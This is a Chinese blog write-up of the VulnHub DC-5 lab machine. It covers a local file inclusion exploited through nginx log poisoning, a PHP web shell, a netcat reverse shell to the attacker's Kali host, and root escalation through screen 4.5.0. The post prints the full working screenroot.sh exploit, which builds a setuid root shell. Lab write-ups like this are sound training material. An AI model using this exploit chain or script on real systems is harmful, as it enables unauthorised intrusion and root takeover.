欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

vulnhub之DC5靶机

程序员文章站 2022-05-17 11:03:45
...


vulnhub之DC5靶机

靶机概览

详情介绍请参考下载地址
任务目标:拿下系统的root家目录
下载地址:https://www.vulnhub.com/entry/dc-5,314/
靶机界面:
vulnhub之DC5靶机

信息收集

由于我这里采用了NAT,所以很容易确定目标机器,如果你的网络环境里有众多机器,并且系统版本与靶机相似,且不方便更换连接虚拟机的方式,你可以先查看一下DC5的MAC,这样做主机发现时可以通过MAC来过滤靶机。
vulnhub之DC5靶机

nmap信息收集

1:使用nmap作网段的主机发现,确定靶机地址是192.168.40.134
vulnhub之DC5靶机
2:继续使用nmap对靶机做进一步探测
vulnhub之DC5靶机
看这样子,还是先去80端口看看吧

网站信息收集

网站主页的样子,大致可以判断前4个是静态页面,最后一个可以提交信息,只能从最后一个页面来搞
vulnhub之DC5靶机

探测漏洞

看着这个页面就想起留言板,想起留言板就想起XSS,随便来个XSS测试代码试试
vulnhub之DC5靶机
vulnhub之DC5靶机
把URL的参数部分全部去掉,再刷新一下页面,发现Copyright的年份变了,再刷新页面,年份又变了,说明Copyright不是HTML写的,可能是后台的动态脚本写的
vulnhub之DC5靶机
可能会存在本地文件包含,先试一试目录**

目录探测

使用御剑,已经扫出一些结果了,依次访问,发现第6条有点价值
vulnhub之DC5靶机
当刷新http://192.168.40.134/footer.php时,发现Copyright在变,而刷新http://192.168.40.134/thankyou.php同理,可以确认,网站存在文件包含。
vulnhub之DC5靶机

文件包含

上面已经发现靶机存在文件包含,但是如果想要利用的话,就必须确认这个文件包含的动态的,是可控的,而要确认这一点,首先需要知道它实现包含的参数是什么?盲猜一个:

http://192.168.40.134/thankyou.php?path=footer.php

很明显,失败了,上BurpSuite
vulnhub之DC5靶机
vulnhub之DC5靶机
vulnhub之DC5靶机
参数极有可能是file,令参数为file,路径为/etc/passwd,执行成功。
说明靶机确实存在文件包含漏洞
vulnhub之DC5靶机
那么,接下来需要判断他是不是可以远程文件包含,如果可以的话,那就直接上木马,如果没有,再另寻他法。
发现不支持远程文件包含,那只能本地文件包含了
vulnhub之DC5靶机

渗透攻击

由于已经确定只能本地文件包含,那就可以考虑报错攻击,写一个payload传进去让服务器报错,找到服务器的日志,再去利用payload

找出日志服务器

上BurpSuite**日志目录
vulnhub之DC5靶机
vulnhub之DC5靶机
vulnhub之DC5靶机
发现日志在/var/log/nginx/access.log
打开之后很恐怖,应该是因为前面的**导致产生大量错误日志,自己又忘了做快照,唉,重新导入一下靶机。
瞬间轻松了许多
vulnhub之DC5靶机

一句话木马

原始文件
vulnhub之DC5靶机
改写后的文件
vulnhub之DC5靶机
刷新日志,发现写入成功
vulnhub之DC5靶机
上中国蚁剑
vulnhub之DC5靶机
去/tmp目录下新建一个文件,名字随意,我这里迷惑一下机器。
警告,虽然蚁剑连接成功了,但毕竟是在日志目录下,日志一直在读写,对我们的操作不利。

文件包含漏洞的特点:
无视文件扩展名读取文件
无条件解析PHP代码

vulnhub之DC5靶机

重新写一个简单的一句话木马
vulnhub之DC5靶机
打开木马(显示的404正好符合预期,文件第一行就是404)
vulnhub之DC5靶机
得到一个新的稳定的shell
vulnhub之DC5靶机

提权

首先需要明确,不能使用蚁剑提权,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来反弹shell。
先看一下自己是谁,是个小菜鸡
vulnhub之DC5靶机
进root家也是痴心妄想
vulnhub之DC5靶机

反弹shell

注意到靶机有nc,并且有-e参数
vulnhub之DC5靶机
kali开启监听
vulnhub之DC5靶机
蚁剑反弹
vulnhub之DC5靶机
kali拿到shell
vulnhub之DC5靶机

交互式shell

由于上面的shell不好用,下面通过python来建立交互式shell

交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'

接着考虑怎样提权,先找找有没有 命令是root权限且不需要密码的,没有。再找找能不能SUID提权,看见screen-4.5.0了,试一试
vulnhub之DC5靶机

辅助工具提取

获取脚本
vulnhub之DC5靶机
vulnhub之DC5靶机
接下来可以用蚁剑直接把脚本上传到靶机上去,这里玩一个骚操作
本机开80端口,让蚁剑下载文件到靶机上
1:kali开启80端口
vulnhub之DC5靶机
2:火狐访问确认正常
vulnhub之DC5靶机
3:蚁剑下载到靶机/tmp目录
en,,,,,蚁剑WGET不下来,还是用命令行吧
使用反弹shell的kali端
vulnhub之DC5靶机
4:执行脚本
vulnhub之DC5靶机

手工执行脚本

先来看一下脚本是怎么写的吧

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

手工执行编译,忽略报错
vulnhub之DC5靶机
把脚本上传到靶机上面,还是python开80了,用蚁剑的WGET,就不信了还上传不上去,注意,是上传上图中绿色的那三个文件
vulnhub之DC5靶机
三个文件全部上传成功
vulnhub之DC5靶机
来到kali下的反弹shell的界面,运行脚本,提权成功vulnhub之DC5靶机

拿flag

vulnhub之DC5靶机

相关标签: 靶机 web